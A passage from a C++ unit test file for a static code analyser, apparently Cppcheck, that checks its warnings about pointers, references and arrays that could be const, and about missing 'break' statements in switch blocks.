ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n 